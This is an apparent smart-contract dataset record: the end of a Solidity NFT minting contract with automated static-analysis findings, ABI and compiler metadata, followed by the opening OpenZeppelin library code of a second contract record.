".text-copy:nth-child(9){stroke:#bafe49;stroke-dashoffset:6% * 9;}.text-copy:nth-child(10){stroke:#bafe49;stroke-dashoffset:6% * 10;}" "@keyframes stroke-offset{45%{stroke-dashoffset:40%;stroke-dasharray:25% 0%;}60%{stroke-dashoffset:40%;stroke-dasharray:25% 0%;}}" "</style>" "<rect width='100%' height='100%' fill='black' />" "<symbol id='s-text'>" "<text text-anchor='middle' x='50%' y='70%' class='text--line'>Y</text>" "</symbol><g class='g-ants'>" "<use href='#s-text' class='text-copy'></use>" "<use href='#s-text' class='text-copy'></use>" "<use href='#s-text' class='text-copy'></use>" "<use href='#s-text' class='text-copy'></use>" "<use href='#s-text' class='text-copy'></use>" "<use href='#s-text' class='text-copy'></use>" "<use href='#s-text' class='text-copy'></use>" "<use href='#s-text' class='text-copy'></use>" "<use href='#s-text' class='text-copy'></use>" "<use href='#s-text' class='text-copy'></use></g>"; // Convert token id to string string memory sTokenId = toString(tokenId); // Create the SVG Image string memory finalSvg = string( abi.encodePacked( baseSvg, "<text class='top-text' margin='2px' x='4%' y='8%'>", sTokenId, "</text></svg>" ) ); // Base64 Encode our JSON Metadata string memory json = Base64.encode( bytes( string( abi.encodePacked( '{"name": "Pioneer ', sTokenId, '", "description": "', 'Number ', sTokenId, ' of the Pioneer collection for early Yobot Adopters", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(finalSvg)), '"}' ) ) ) ); // Prepend data:application/json;base64 to define the base64 encoded data return string( abi.encodePacked("data:application/json;base64,", json) ); } /// ~~~~~~~~~~~~~~~~~~~~~~ MINTING LOGIC ~~~~~~~~~~~~~~~~~~~~~~ /// /// @notice Permissionless minting /// @param to The address to mint to function mint(address to) public virtual payable isCorrectPayment canMint isMintingOpen { uint256 tokenId = uint256(tokenCount); unchecked { ++tokenCount; } minted[msg.sender] = true; _mint(to, tokenId); } /// @notice Allows the owner to mint tokens /// @param to The address to mint to function privateMint(address to) public virtual payable onlyOwner { uint256 tokenId = uint256(tokenCount); unchecked { ++tokenCount; } _mint(to, tokenId); } /// @notice Permissionless minting with safe receiver checks /// @param to The address to mint to function safeMint(address to) public virtual payable isCorrectPayment canMint isMintingOpen { uint256 tokenId = uint256(tokenCount); unchecked { ++tokenCount; } minted[msg.sender] = true; _safeMint(to, tokenId); } /// @notice Permissionless minting with safe receiver checks and calldata /// @param to The address to mint to /// @param data Data to forward to the token receiver function safeMint( address to, bytes memory data ) public virtual payable isCorrectPayment canMint isMintingOpen { uint256 tokenId = uint256(tokenCount); unchecked { ++tokenCount; } minted[msg.sender] = true; _safeMint(to, tokenId, data); } /// ~~~~~~~~~~~~~~~~~~~~~~~ ADMIN LOGIC ~~~~~~~~~~~~~~~~~~~~~~~ /// /// @dev Sets if the sale is active /// @param _isPublicSaleActive Whether the public sale is open or not function setIsPublicSaleActive(bool _isPublicSaleActive) external onlyOwner { isPublicSaleActive = _isPublicSaleActive; } /// @dev Allows the owner to withdraw eth function withdraw() public onlyOwner { uint256 balance = address(this).balance; (bool sent,) = msg.sender.call{value: balance}(""); require(sent, "Failed to send Ether"); } /// @dev Allows the owner to withdraw any erc20 tokens sent to this contract /// @param token The ERC20 token to withdraw function withdrawTokens(IERC20 token) public onlyOwner { uint256 balance = token.balanceOf(address(this)); token.transfer(msg.sender, balance); } /// ~~~~~~~~~~~~~~~~~~~~~~ CUSTOM LOGIC ~~~~~~~~~~~~~~~~~~~~~~~ /// /// @dev Support for EIP 2981 Interface by overriding erc165 supportsInterface /// @param interfaceId The 4 byte interface id to check against function supportsInterface(bytes4 interfaceId) public pure virtual override returns (bool) { return interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165 interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721 interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata } /// @notice Converts a uint256 into a string /// @param value The value to convert to a string function toString(uint256 value) public pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["600"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["389", "23", "620"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["401"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Pioneers.sol": [25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Pioneers.sol": [267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"Pioneers.sol": [18]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Pioneers.sol": [512, 513, 514, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Pioneers.sol": [590, 591, 592, 593, 594]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Pioneers.sol": [224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 221, 222, 223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Pioneers.sol": [206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Pioneers.sol": [608, 609, 610, 611, 612, 607]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Pioneers.sol": [600, 601, 598, 599]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Pioneers.sol": [161, 162, 163, 164, 165, 166, 167, 168, 169]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Pioneers.sol": [536, 537, 538, 539, 540]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Pioneers.sol": [576, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Pioneers.sol": [520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Pioneers.sol": [171, 172, 173, 174, 175]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Pioneers.sol": [544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Pioneers.sol": [2]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Pioneers.sol": [592]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Pioneers.sol": [582]}}, {"check": "incorrect-shift", "impact": "High", "confidence": "High", "lines": {"Pioneers.sol": [65]}}, {"check": "incorrect-shift", "impact": "High", "confidence": "High", "lines": {"Pioneers.sol": [62]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"Pioneers.sol": [600]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 243, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 244, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 245, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 609, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 610, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 611, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 293, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 308, "severity": 1}, {"rule": "SOLIDITY_DIV_MUL", "line": 18, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 582, "severity": 2}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 13, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 25, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 152, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 437, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 354, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 354, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 357, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 357, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 360, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 360, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 363, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 363, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 366, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 366, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 369, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 369, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"AlreadyMinted","type":"error"},{"inputs":[],"name":"InsufficientFunds","type":"error"},{"inputs":[],"name":"InsufficientTokensRemain","type":"error"},{"inputs":[],"name":"MaximumMints","type":"error"},{"inputs":[],"name":"MintClosed","type":"error"},{"inputs":[],"name":"Unauthorized","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAXIMUM_COUNT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_TOKENS_PER_WALLET","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PUBLIC_SALE_PRICE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isPublicSaleActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"minted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"privateMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"safeMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_isPublicSaleActive","type":"bool"}],"name":"setIsPublicSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"toString","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tokenCount","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"}],"name":"withdrawTokens","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.8.12+commit.f00d7308
true
1,000
Default
Unknown
false
ipfs://89e088e806d9ab3ff77368d8829312f6baca70ea8bba01b921257a18e6754832
TheBathingApes
0x70d7dd383f579e99c855be2028bfc829b19bc10b
Solidity
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes 